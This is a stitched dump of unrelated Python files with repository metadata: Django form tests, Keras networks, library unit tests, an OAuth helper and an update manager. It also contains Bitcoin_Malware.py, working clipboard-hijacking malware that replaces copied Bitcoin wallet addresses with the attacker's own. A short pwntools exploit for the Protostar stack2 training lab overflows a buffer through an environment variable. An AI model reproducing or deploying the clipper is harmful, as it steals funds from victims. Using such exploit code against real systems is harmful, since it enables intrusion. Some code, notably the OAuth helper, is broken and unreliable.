form.errors["__all__"][0] == _("You cannot change your password.") def test_set_password_form(self, user: User): password = get_random_string(20) form = DisabledSetPasswordForm( data={"password1": password, "password2": password}, user=user, ) assert not form.is_valid() assert form.errors["__all__"][0] == _("You cannot set a password.") def test_reset_password_form(self, user: User): form = DisabledResetPasswordForm(data={"email": user.email}) assert not form.is_valid() assert form.errors["__all__"][0] == _("You cannot reset your password.") def test_reset_key_password_form(self, user: User): password = get_random_string(20) form = DisabledResetPasswordKeyForm( data={"password1": password, "password2": password}, user=user, ) assert not form.is_valid() assert form.errors["__all__"][0] == _("You cannot reset your password.")

32.571429

87

0.623904

2,341

0.855629

0

798

0.291667

a82ef552d3bf70dc77e897c13a1b0f9b584ffa9d

3,359

py

Python

src/keras_networks.py

RU-IIPL/2DLD_keras

8c291b6a652f54bd94cb3a5c8382d10ba42e5cbf

[ "MIT" ]

1

2021-05-24T08:00:29.000Z

src/keras_networks.py

RU-IIPL/2DLD_keras

8c291b6a652f54bd94cb3a5c8382d10ba42e5cbf

[ "MIT" ]

null

src/keras_networks.py

RU-IIPL/2DLD_keras

8c291b6a652f54bd94cb3a5c8382d10ba42e5cbf

[ "MIT" ]

1

2021-09-29T03:43:46.000Z

# -*- coding: utf-8 -*- """ @author: Terada """ from keras.models import Sequential, Model from keras.layers import Dense, MaxPooling2D, Flatten, Dropout from keras.layers import Conv2D, BatchNormalization, ZeroPadding2D, MaxPool2D from keras.layers import Input, Convolution2D, AveragePooling2D, merge, Reshape, Activation, concatenate from keras.regularizers import l2 #from keras.engine.topology import Container def net7(input_size): model = Sequential() model.add(Conv2D(32, (3, 3), activation='relu', input_shape=(input_size[0], input_size[1], 1))) model.add(MaxPooling2D(pool_size=(2, 2))) model.add(Conv2D(32, (3, 3), activation='relu')) model.add(MaxPooling2D(pool_size=(2, 2))) model.add(Conv2D(64, (3, 3), activation='relu')) model.add(MaxPooling2D(pool_size=(2, 2))) model.add(Conv2D(64, (3, 3), activation='relu')) model.add(MaxPooling2D(pool_size=(2, 2))) model.add(Flatten()) model.add(Dense(1000, activation='relu')) model.add(Dense(500, activation='relu')) model.add(Dense(28)) return model def lenet(input_size): model = Sequential() model.add(Conv2D(20, kernel_size=5, strides=1, activation='relu', input_shape=(input_size[0], input_size[1], 1))) model.add(MaxPooling2D(2, strides=2)) model.add(Conv2D(50, kernel_size=5, strides=1, activation='relu')) model.add(MaxPooling2D(2, strides=2)) model.add(Flatten()) model.add(Dense(500, activation='relu')) model.add(Dense(28)) #activation='softmax' return model def alexnet(input_size): model = Sequential() model.add(Conv2D(48, 11, strides=3, activation='relu', padding='same', input_shape=(input_size[0], input_size[1], 1))) model.add(MaxPooling2D(3, strides=2)) model.add(BatchNormalization()) model.add(Conv2D(128, 5, strides=3, activation='relu', padding='same')) model.add(MaxPooling2D(3, strides=2)) model.add(BatchNormalization()) model.add(Conv2D(192, 3, strides=1, activation='relu', padding='same')) model.add(Conv2D(192, 3, strides=1, activation='relu', padding='same')) model.add(Conv2D(128, 3, strides=1, activation='relu', padding='same')) model.add(MaxPooling2D(3, strides=2)) model.add(BatchNormalization()) model.add(Flatten()) model.add(Dense(2048, activation='relu')) model.add(Dropout(0.5)) model.add(Dense(2048, activation='relu')) model.add(Dropout(0.5)) model.add(Dense(28)) #activation='softmax' return model def malti_net(input_size): inputs = Input(shape=(input_size[0], input_size[1], 1)) conv1 = Conv2D(18, (3, 3), activation='relu')(inputs) pool1 = MaxPooling2D(pool_size=(2, 2))(conv1) conv2 = Conv2D(32, (3, 3), activation='relu')(pool1) pool2 = MaxPooling2D(pool_size=(2, 2))(conv2) conv3 = Conv2D(32, (3, 3), activation='relu')(pool2) pool3 = MaxPooling2D(pool_size=(2, 2))(conv3) conv4 = Conv2D(64, (3, 3), activation='relu')(pool3) pool4 = MaxPooling2D(pool_size=(2, 2))(conv4) flat1 = Flatten()(pool4) fc1 = Dense(1000, activation='relu')(flat1) fc2 = Dense(500, activation='relu')(fc1) x_main = Dense(28, name='main')(fc2) x_sub1 = Dense(2, name='sub1', activation='softmax')(fc2) x_sub2 = Dense(5, name='sub2', activation='softmax')(fc2) model = Model(inputs=inputs, outputs=[x_main, x_sub1, x_sub2]) return model

42.518987

122

0.677583

0

330

0.098244

a82fdc3cbf4660f5463187cd042910a00705a302

9,951

py

Python

lambdak_spec.py

yawaramin/lambdak

5038531f2939dfbbbf94ea859454efaf69bf6487

[ "MIT" ]

19

2015-01-13T23:36:23.000Z

2021-05-29T16:05:05.000Z

lambdak_spec.py

yawaramin/lambdak

5038531f2939dfbbbf94ea859454efaf69bf6487

[ "MIT" ]

1

2015-11-09T17:23:05.000Z

2015-11-09T18:48:26.000Z

lambdak_spec.py

yawaramin/lambdak

5038531f2939dfbbbf94ea859454efaf69bf6487

[ "MIT" ]

3

2016-03-26T15:57:36.000Z

2018-11-30T07:04:03.000Z

from contextlib import closing, contextmanager import StringIO as s import unittest as t from lambdak import * # A helper class to test attribute access. class A: pass # Helper functions for the tests. def inc(x): return x + 1 def double(x): return x * 2 class test_lambdak(t.TestCase): def test_init_k_x(self): args = (1, 2) lk = lambdak(*args) self.assertEqual((lk.k, lk.x), (1, (2,))) def test_init_k(self): val = 1 lk = lambdak(val) self.assertEqual((lk.k, lk.x), (val, ())) class test_call_(t.TestCase): def test_call_none(self): self.assertEqual(call_(None), None) def test_call_func(self): val = 1 def f(): return val self.assertEqual(call_(f), val) class test_do_(t.TestCase): def setUp(self): self.a = A() self.name = "x" self.val = 1 def test_do_not(self): "The do_ action shouldn't be carried out unless the lambdak is called." self.a.x = 2 d = do_(lambda: setattr(self.a, self.name, self.val)) self.assertNotEqual(self.a.x, self.val) def test_do_1(self): do_(lambda: setattr(self.a, self.name, self.val))() self.assertEqual(self.a.x, self.val) def test_do_2(self): val2 = 2 do_(lambda: setattr(self.a, self.name, self.val), lambda: do_(lambda: setattr(self.a, "y", val2)))() self.assertEqual((self.a.x, self.a.y), (self.val, val2)) class test_given_(t.TestCase): def test_given_id(self): val = 1 f = given_(return_) self.assertEqual(f(val), val) def test_given_recursion(self): "Test that tail recursion doesn't stack overflow if it uses lambdak's trampoline system." factorial = given_(lambda n, acc = 1: acc if n <= 1 else given_(lambda: factorial.k(n - 1, n * acc))) try: factorial(1000, 1) except: self.assertTrue(False) finally: self.assertTrue(True) class test_assert_(t.TestCase): def test_assert_succeed(self): try: assert_(True)() self.assertTrue(True) except: self.assertTrue(False) def test_assert_fail(self): self.assertRaises(AssertionError, assert_(False)) class test_raise_(t.TestCase): def setUp(self): self.exn = Exception def test_raise_last(self): try: raise self.exn except: self.assertRaises(self.exn, raise_()) def test_raise_exn_type(self): self.assertRaises(self.exn, raise_(self.exn)) def test_raise_exn_val(self): e = Exception("Bad") self.assertRaises(self.exn, raise_(e)) def test_raise_exn_type_val(self): msg = "Bad" e = Exception(msg) try: raise_(Exception, e)() except Exception, ee: self.assertEqual(ee.message, msg) return self.assertTrue(False) class test_cond_(t.TestCase): def test_cond_val(self): val = 1 cond_val = cond_( [ (lambda: True, lambda: val), (lambda: False, lambda: 2) ], None) self.assertEqual(cond_val(), val) def test_cond_noval(self): cond_noval = cond_( [ (lambda: False, lambda: 1) ], None) self.assertEqual(cond_noval(), None) def test_cond_return_effect(self): "An effect wrapped in a lambdak should be returned from cond_." a = A() a.x = 1 attr_name = "x" val = 2 cond_( [ (lambda: False, lambda: setattr_(a, attr_name, 0)), (lambda: True, lambda: setattr_(a, attr_name, val)) ], None, return_)() self.assertEqual(a.x, val) class test_import_(t.TestCase): def test_import_math(self): "Math here is representative of the Python standard library." pi_floor = import_("math", lambda _: _.floor(_.pi)) self.assertEqual(pi_floor(), 3) class test_try_(t.TestCase): def setUp(self): self.a = A() def test_try_exn(self): val = 1 try_(lambda: 1 / 0, lambda: setattr(self.a, "x", val))() self.assertEqual(self.a.x, val) def test_try_noexn(self): val = 1 self.a.x = val try_(lambda: 1, lambda: setattr(self.a, "x", 2))() self.assertEqual(self.a.x, val) def test_try_exn_else_finally(self): "The else_ action should not run if there's an exception." self.a.x = 1 ex_val = 2 noex_val = 3 try_(lambda: 1 / 0, except_ = lambda: setattr(self.a, "x", ex_val), else_ = lambda: setattr(self.a, "x", noex_val), finally_ = const_(modattr_(self.a, "x", double)))() self.assertEqual(self.a.x, double(ex_val)) def test_try_noexn_else_finally(self): "The else_ action should run if there's no exception." self.a.x = 1 ex_val = 2 noex_val = 3 try_(lambda: 1, except_ = lambda: setattr(self.a, "x", ex_val), else_ = lambda: setattr(self.a, "x", noex_val), finally_ = const_(modattr_(self.a, "x", double)))() self.assertEqual(self.a.x, double(noex_val)) def test_try_exn_retval(self): "The try_ lambdak should be able to 'return' a result value." x = try_( lambda: 1 / 0, except_ = lambda: 0, finally_ = return_)() self.assertEqual(x, 0) def test_python_try_finally_always(self): "Python's built-in try statement finally clause should run even if exception occurs and is not caught." start_val = 0 final_val = 2 try: try: 1 / 0 except AttributeError: start_val += 1 finally: start_val += 2 except: pass self.assertEqual(start_val, final_val) class test_for_(t.TestCase): def setUp(self): self.a = A() def test_for_act(self): vals = (1, 2, 3) for_(range(1, 4), lambda _: setattr(self.a, "x%s" % _, _))() self.assertEqual((self.a.x1, self.a.x2, self.a.x3), vals) def test_for_break(self): break_val = 3 for_(range(1, 5), lambda i: break_ if i == break_val else setattr(self.a, "x", i))() self.assertEqual(self.a.x, break_val - 1) def test_for_continue(self): skip_val = 3 xs = [] for_(range(1, 5), lambda i: continue_ if i == skip_val else xs.append(i))() self.assertFalse(skip_val in xs) def test_for_else_break(self): "The else_ parameter should not run if we break out of the loop." val = 0 d = { "x": val } for_else_(range(5), lambda i: break_, else_ = lambda: mod_("x", inc, d))() self.assertEqual(d["x"], val) def test_for_else_nobreak(self): "The else_ parameter should run if we don't break out of the loop." val = 0 d = { "x": val } for_else_(range(5), lambda i: None, else_ = lambda: mod_("x", inc, d))() self.assertEqual(d["x"], val + 1) class test_while_(t.TestCase): def setUp(self): self.a = A() self.a.x = 0 def test_while_expr(self): val = 10 while_(lambda: self.a.x < val, lambda: modattr_(self.a, "x", inc))() self.assertEqual(self.a.x, val) def test_while_break(self): break_val = 5 while_(lambda: True, lambda: break_ if self.a.x == break_val else modattr_(self.a, "x", inc))() self.assertEqual(self.a.x, break_val) def test_while_continue(self): "Should immediately skip to the next iteration of the loop if an object of type `continue_` is returned from any of the lambdaks inside the `while_` lambdak." xs = [] skip_val = 2 while_(lambda: self.a.x <= 4, lambda: modattr_(self.a, "x", inc, lambda: continue_ if self.a.x == skip_val else xs.append(self.a.x)))() self.assertFalse(skip_val in xs) def test_while_else_break(self): "Should not run the else_ clause if we break out of the loop." d = { "x": 0 } break_val = 2 mult = 2 while_else_(lambda: d["x"] <= 4, lambda: break_ if d["x"] == break_val else mod_("x", inc, d), else_ = lambda: mod_("x", double, d))() self.assertEqual(d["x"], break_val) def test_while_else_nobreak(self): "Should run the else_ clause if we don't break out of the loop." d = { "x": 0 } loop_end = 4 while_else_(lambda: d["x"] < loop_end, lambda: mod_("x", inc, d), else_ = lambda: mod_("x", double, d))() self.assertEqual(d["x"], double(loop_end)) class test_attr_accessors(t.TestCase): def setUp(self): self.a = A() self.attr_name = "x" def test_setattr_(self): val = 1 setattr_(self.a, self.attr_name, val)() self.assertEqual(self.a.x, val) def test_delattr_(self): self.a.x = 1 delattr_(self.a, self.attr_name)() self.assertFalse(hasattr(self.a, self.attr_name)) def test_modattr_(self): self.a.x = 1 modattr_(self.a, self.attr_name, inc)() self.assertEqual(self.a.x, 2) class test_with_(t.TestCase): def setUp(self): self.a = A() self.a.x = 0 def incr(): self.a.x += 1 yield self.a.x += 1 self.incr = contextmanager(incr) self.with_lk = with_(self.incr, lambda: None) def test_with_ctx_before(self): self.assertEqual(self.a.x, 0) def test_with_ctx_after(self): self.with_lk() self.assertEqual(self.a.x, 2) def test_with_get_nothing(self): "If the context manager doesn't bind a value, the handler function shouldn't get an argument." try: with_(self.incr, lambda: None)() except: self.assertTrue(False) return self.assertTrue(True) def test_with_get_val(self): "If the context manager binds a value, the handler function should get the value as an argument." try: with_(lambda: closing(s.StringIO()), lambda _: None)() except: self.assertTrue(False) return self.assertTrue(True) class test_dict_accessors(t.TestCase): def setUp(self): self.k, self.v = "x", 1 self.d = { self.k: self.v } def test_assign_(self): val = 2 assign_(self.k, val, self.d)() self.assertEqual(self.d[self.k], val) def test_get_(self): self.assertEqual(get_(self.k, self.d), self.v) def test_del_(self): del_(self.k, self.d)() self.assertTrue(self.k not in self.d) def test_mod_(self): mod_(self.k, inc, self.d)() self.assertEqual(self.d[self.k], inc(self.v)) if __name__ == "__main__": t.main()

25.320611

162

0.633203

9,639

0.968646

206

0.020701

0

1,375

0.138177

a830be9674eca4b0486b3f40d92cbb270322784c

2,327

py

Python

Bitcoin_Malware.py

Ismael-Safadi/Bitcoin-Wallet-address-spoofer

16b92d5538d10a2b14ee1fed441a25bdb33a2e67

[ "MIT" ]

7

2019-03-04T14:28:53.000Z

2022-01-31T12:11:53.000Z

Bitcoin_Malware.py

Ismael-Safadi/Bitcoin-Wallet-address-spoofer

16b92d5538d10a2b14ee1fed441a25bdb33a2e67

[ "MIT" ]

null

Bitcoin_Malware.py

Ismael-Safadi/Bitcoin-Wallet-address-spoofer

16b92d5538d10a2b14ee1fed441a25bdb33a2e67

[ "MIT" ]

4

2019-03-04T14:29:01.000Z

2022-01-31T12:11:40.000Z

# Coded By : Ismael Al-safadi from win32gui import GetWindowText, GetForegroundWindow from pyperclip import copy from re import findall from win32clipboard import OpenClipboard , GetClipboardData , CloseClipboard from time import sleep class BitcoinDroper: """ class for spoofing Bitcoin Wallet address . Methods : check_active_window : for check active window. check_bitcoin_wallet : This method will check if the copied data right now is as Bitcoin Wallet address or not. return_copied_wallet : this function will return the old address . spoof_wallet : Function for change address to your. get_old_wallet : Function for getting the old address . spoofing_done : Function to show if spoofing done or not . """ def __init__(self): # You can add many of bitcoin wallets names into the list self.list_of_btc = ['blockchain','exodus','coinbase','electrum' , 'bitcoin','bitstamp'] self.destination_address = "Your Bitcoin address wallet" self.done = False def check_active_window(self): window = (GetWindowText(GetForegroundWindow())[0:44]) window = str(window).lower() if any(ext in window for ext in self.list_of_btc): return True else: return False def check_bitcoin_wallet(self): OpenClipboard() data = GetClipboardData() CloseClipboard() l = findall('[a-zA-Z0-9]{34}', data) if len(l) == 1: return True else: return False def return_copied_wallet(self): copy(self.old_wallet) def spoof_wallet(self): copy(self.destination_address) self.done = True def get_old_wallet(self): OpenClipboard() self.old_wallet = GetClipboardData() CloseClipboard() def spoofing_done(self): return self.done a = BitcoinDroper() while True: if a.check_active_window() and a.check_bitcoin_wallet(): if not a.spoofing_done(): a.get_old_wallet() a.spoof_wallet() elif a.spoofing_done(): if a.check_bitcoin_wallet() and not a.check_active_window(): a.return_copied_wallet() sleep(2)

31.026667

96

0.628277

1,733

0.744736

0

741

0.318436

a832641c2261a8791df173a07f00c6ea847b04f1

504

py

Python

Exploits/Protostar/stack/stack2.py

SkyBulk/OSCE

1749add01cfbc80b11055ea2fdbfdfdee1409a3c

[ "BSD-3-Clause" ]

80

2018-07-12T04:58:02.000Z

2022-03-18T11:31:49.000Z

Exploits/Protostar/stack/stack2.py

SunWare-shellcoder/OSCE-1

1749add01cfbc80b11055ea2fdbfdfdee1409a3c

[ "BSD-3-Clause" ]

null

Exploits/Protostar/stack/stack2.py

SunWare-shellcoder/OSCE-1

1749add01cfbc80b11055ea2fdbfdfdee1409a3c

[ "BSD-3-Clause" ]

43

2018-07-12T19:48:15.000Z

2021-11-01T13:16:25.000Z

#!/usr/bin/env python # $Id: stack2.py,v 1.0 2018/06/21 23:12:02 dhn Exp $ from pwn import * level = 2 host = "10.168.142.133" user = "user" chal = "stack%i" % level password = "user" binary = "/opt/protostar/bin/%s" % chal shell = ssh(host=host, user=user, password=password) padding = "A" * 64 addr = p32(0x0d0a0d0a) payload = padding payload += addr r = shell.run("GREENIE=\"%s\" %s" % (payload, binary)) r.recvuntil("you have correctly modified the variable") r.clean() log.success("Done!")

20.16

55

0.656746

0

204

0.404762

a8347276bdea4347d1187329f50e22db158c90b3

5,096

py

Python

Stock_Programs/myOauth.py

timwroge/DeepPurple

3d6f3203938853ede654ef4f88b7451a1ba3999e

[ "Apache-2.0" ]

4

2020-02-13T18:57:41.000Z

2020-08-03T21:08:26.000Z

Stock_Programs/myOauth.py

timwroge/DeepPurple

3d6f3203938853ede654ef4f88b7451a1ba3999e

[ "Apache-2.0" ]

null

Stock_Programs/myOauth.py

timwroge/DeepPurple

3d6f3203938853ede654ef4f88b7451a1ba3999e

[ "Apache-2.0" ]

1

2021-06-14T13:42:39.000Z

import urllib.parse, urllib.request,json import time import hmac, hashlib,random,base64 #yahoo stuff #client ID dj0yJmk9S3owYWNNcm1jS3VIJmQ9WVdrOU1HMUZiMHh5TjJNbWNHbzlNQS0tJnM9Y29uc3VtZXJzZWNyZXQmeD0xOQ-- #client secret ID fcde44eb1bf2a7ff474b9fd861a6fcf33be56d3f def setConsumerCreds(cons_key,cons_secret): global consumerKey global consumerSecret consumerKey = cons_key consumerSecret = cons_secret def set_access_token(key,secret): global accessToken global accessTokenSecret accessToken = key accessTokenSecret = secret def get_base_string(resourceUrl, values,method="POST"): baseString = method+"&"+url_encode(resourceUrl) + "&" sortedKeys = sorted(values.keys()) for i in range(len(sortedKeys)): baseString += url_encode(sortedKEys[i] + "=") + url_encode(url_encode(values[sortedKeys[i]])) if i < len(sortedKeys) - 1: baseString += url_encode("&") return baseString def add_oauth_parameters(parameters, addAccessToken = True): parameters["oauth_consumer_key"] = consumerKey if (addAccessToken): parameters["oauth_token"] = accessToken parameters["oauth_version"] = "1.0" parameters["oauth_nonce"] = str(get_nonce()) parameters["oauth_timestamp"] = str(get_timestamp()) parameters["oauth_signature_method"]= "HMAC-SHA1" def get_nonce(): return random.randint(1,999999999) def get_timestamp(): return int(time.time()) def get_signature(signingKey,stringToHash): hmacAlg = hmac.HMAC(signingKey,stringToHash,hashlib.sha1) return base64.b64encode(hmacAlg.digest()) def url_encode(data): return urllib.parse.quote(data,"") def build_oauth_headers(parameters): header = "OAuth " sortedKeys = sorted(parameters.keys()) for i in range(len(sortedKeys)): header = header+ url_encode(sortedKeys[i]) + "=\"" + url_encode(parameters[sortedKeys[i]]) + "\"" if i < len(sortedKeys) - 1: header = header + "," return header ##### ACTUAL FUNCTIONS def get_authorization_url(resourceUrl,endpointUrl,callbackUrl): oauthParameters = {} add_oauth_parameters(oauthParameters, False) oauthParameters["oauth_callback"] = callbackUrl baseString = get_base_string(resourceUrl,OauthParameters) signingKey = consumerSecret + "&" oauthParameters["oauth_signature"] = get_signature(signingKey,baseString) headers = build_oauth_headers(oauthParameters) httpRequest = urllib.request.Request(resourceUrl) httpRequest.add_header("Authorization",headers) try: httpResponse = urllib.request.urlopen(httpRequest) except urllib.request.HTTPError as e: return "Response: %s" % e.read() responseData = httpResponse.read() responseParameters = responseData.split("&") for string in responseParameters: if string.find("oauth_token_secret") -1: requestTokenSecret = string.split("=")[1] elif string.find("oauth_token") -1: requestToken = string.split("=")[1] return endpointUrl+"?oauth_token="+requestToken def get_access_token(resourceUrl, requestTok, requestTokSecret, oauth_verifier): global requestToken,requestTokenSecret,accessToken,accessTokenSecret requestToken = requestTok requestTokenSecret = requestTokSecret oauthParmeters = {"oauth_verfier" : oauth_verifier,"oauth_token":requestToken} add_oauth_paremeters(oauthParameters,False) baseString = get_base_string(resourceUrl,oauthParameters) signingKey = consumerSecret + "&" + requestTokenSecret oauthParameters["oauth_signature"] = get_signature(signingKey,baseString) header = build_oauth_headers(oauthParameters) httpRquest = urllib.request.Request(resourceUrl) httpRequest.add_header("Authorization",header) httpResponse = urllib.request.urlopen(httpRequest) responseParameters = httpResponse.read().split("&") for string in responseParameters: if string.find("oauth_token_secret")-1: accessTokenSecret = string.split("=")[1] elif string.find("oauth_token")-1: accessToken = string.split("=")[1] def get_api_response(resourceUrl,method="POST",parameters={}): add_oauth_parameters(parameters) baseString = get_base_string(resourceUrl,parameters,method) signingKey = consumerSecret + "&" + accessTokenSecret parameters["oauth_signature"] = get_signature(signingKey,baseString) parameters2 = {} for string in sorted(parameters.keys()): if string.finds("oauth_") == 1: parameters2[s] = parameters.pop(s) header = build_oauth_headers(parameters) httpRequest = urllib.request.Request(resourceUrl,urllib.parse.urlencode(parameters2)) httpRequest.add_header("Authorization",header) httpResponse = urllib.request.urlopen(httpRequest) respStr = httpResponse.read() def yqlQuery(query): baseUrl = "https://query.yahooapis.com/v1/public/yql?" searchUrl = baseUrl + urllib.parse.quote(query) result= urllib.request.urlopen(searchUrl).read() data = json.loads(result) return data["query"]["results"]

41.770492

116

0.724882

0

708

0.138932

a8347a798c6edcafbe98def909244e3a366c1264

5,246

py

Python

IOController/src/UpdateManager.py

MicrosoftDX/liquidintel

8c3f840f88ca3515cc812078a620e2a845978177

[ "MIT" ]

9

2017-05-27T20:42:46.000Z

2020-11-12T21:03:28.000Z

IOController/src/UpdateManager.py

MicrosoftDX/liquidintel

8c3f840f88ca3515cc812078a620e2a845978177

[ "MIT" ]

30

2017-02-16T19:43:18.000Z

2018-01-17T21:17:01.000Z

IOController/src/UpdateManager.py

MicrosoftDX/liquidintel

8c3f840f88ca3515cc812078a620e2a845978177

[ "MIT" ]

6

2017-02-24T03:40:04.000Z

2020-11-22T20:29:11.000Z

import os, sys, logging, threading, tempfile, shutil, tarfile, inspect from ConfigParser import RawConfigParser import requests from DXLiquidIntelApi import DXLiquidIntelApi log = logging.getLogger(__name__) class UpdateManager: def __init__(self, liquidApi, packageType, checkUnpublished, packageCheckInterval, configuredInstallDir): self._liquidApi = liquidApi # We assume the last segment in the installation directory is the version label (self._baseInstallDir, self._semanticVersion) = os.path.split(self._getInstallDir(configuredInstallDir)) self._packageType = packageType self._checkUnpublished = checkUnpublished self._packageCheckInterval = packageCheckInterval self._restartRequired = False # Initial check is synchronous self.checkForNewVersion() def __enter__(self): pass def __exit__(self, type, value, traceback): if self._timer: self._timer.cancel() def checkForNewVersion(self): self._timer = None restartTimer = True log.info('Checking for newer version from package manager api') packages = self._liquidApi.getInstallationPackages(self._semanticVersion, self._packageType.value, self._checkUnpublished.value) if len(packages) > 0: log.info('New installation packages detected: %s', packages) installPackage = packages[-1] newInstallDir = os.path.join(self._baseInstallDir, installPackage["Version"]) log.info('Installing package version: %s at: %s. Download location: %s. %s', installPackage["Version"], newInstallDir, installPackage["PackageUri"], installPackage["Description"]) try: # Download the package downloadReq = requests.get(installPackage["PackageUri"], stream = True) downloadReq.raise_for_status() # Create a new installation directory, using the version label if os.path.exists(newInstallDir): log.warning('Installation directory %s already exists - this will overwrite existing contents', newInstallDir) else: os.makedirs(newInstallDir) # Assume package content is .tar.gz - unfortunately we can't stream the response directly into the tar extractor as the # HTTP response stream doesn't support seek() with tempfile.NamedTemporaryFile(prefix="package-tarball-", suffix=".tar.gz", delete=False) as fd: shutil.copyfileobj(downloadReq.raw, fd) fd.seek(0) tar = tarfile.open(fileobj=fd) tar.extractall(newInstallDir) # Point the symlink to the new directory if sys.platform != 'win32': currentSymlink = os.path.join(self._baseInstallDir, 'current') if os.path.exists(currentSymlink): os.remove(currentSymlink) os.symlink(newInstallDir, currentSymlink) # Check if this version has any configuration that we need to apply locally if 'Configuration' in installPackage and installPackage['Configuration']: configFile = os.path.join(newInstallDir, 'IOController.cfg') log.info('Writing version-specific configuration to: %s', configFile) config = RawConfigParser() # Convert from JSON form to .INI form by intepreting all object values as sections # and all others as primitive values in the parent section # Top level should be section names with values for (section, values) in installPackage['Configuration'].items(): if not isinstance(values, dict): log.warning('Package configuration for keg/section: %s does not contain an object. Non-objects are not supported.', section); else: config.add_section(section) for (setting, value) in values.items(): config.set(section, setting, value) with open(configFile, 'w') as fd: config.write(fd) self._restartRequired = True # No need to restart the timer as we're bailing on the next main loop iteration restartTimer = False except: log.warning('Failed to download installation package. Will retry on next interval.', exc_info=1) if restartTimer: self._timer = threading.Timer(self._packageCheckInterval.value, self.checkForNewVersion) self._timer.start() @property def restartRequired(self): return self._restartRequired @property def semanticVersion(self): return self._semanticVersion def _getInstallDir(self, configuredInstallDir): if configuredInstallDir or sys.platform == 'win32': return configuredInstallDir return os.path.dirname(os.path.realpath(inspect.getabsfile(UpdateManager)))

51.940594

191

0.62276

5,025

0.957873

0

154

0.029356

0

1,372

0.261533